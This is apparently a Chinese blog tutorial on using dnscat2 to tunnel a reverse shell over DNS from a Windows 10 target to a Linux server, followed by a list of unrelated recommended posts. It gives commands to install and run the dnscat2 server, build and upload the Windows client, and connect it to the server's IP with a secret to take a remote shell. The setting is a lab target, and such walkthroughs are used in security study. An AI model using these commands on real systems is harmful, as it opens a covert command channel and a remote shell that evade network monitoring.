使用dnscat2 进行dns隧道反弹shell——直连模式linux对windows

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

环境搭建

搭建服务端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server/

gem install bundler

apt-get install ruby-dev

bundle install

过程会有点慢

开启服务端

ruby ./dnscat2.rb

搭建客户端

这里首先需要在Visual Studio 2008中打开一个解决方案:client\win32\dnscat2.vcproj。然后编译就会看到client\win32\Release下有一个dnscat2.exe文件了

将这个文件上传至win10靶机运行

开启客户端

dnscat2.exe --dns server=192.168.227.128,port=53 --secret=9d42a40bfeef7cf1f781326684d4d3e0

剩下的就和linux一样,进入隧道反弹shell,然后ctrl+z返回上一层

进入弹回来的shell

相关推荐
特立独行的猫a18 分钟前
Windows安装Rust环境 Clang替代GCC MinGW环境LLVM工具链(详细教程)
开发语言·windows·rust·mingw·环境搭建·llvm
小绫网络安全6 小时前
2026最新版网络安全入门路线
安全·web安全
布局呆星7 小时前
云服务器上部署单项目/多项目
运维·服务器
盐焗鹌鹑蛋7 小时前
【Linux】缓冲区
linux·运维·服务器
祈禾8 小时前
Redis三大缓存问题与分布式锁
运维·数据库·redis·笔记·分布式·缓存
安且惜9 小时前
Windows或mac支持本地抓包
windows·macos
ltl9 小时前
向量库与图 RAG:HNSW、DiskANN 到 GraphRAG
linux
ltl9 小时前
可观测性存储与成本:采样、下采样、冷热分层
运维
学代码的CJY10 小时前
Linux 库制作与原理:静态库、动态库、ELF 与动态链接完全指南
linux·运维·服务器
SatanII11 小时前
403 禁地:Nginx 拒绝所有生者进入
运维·nginx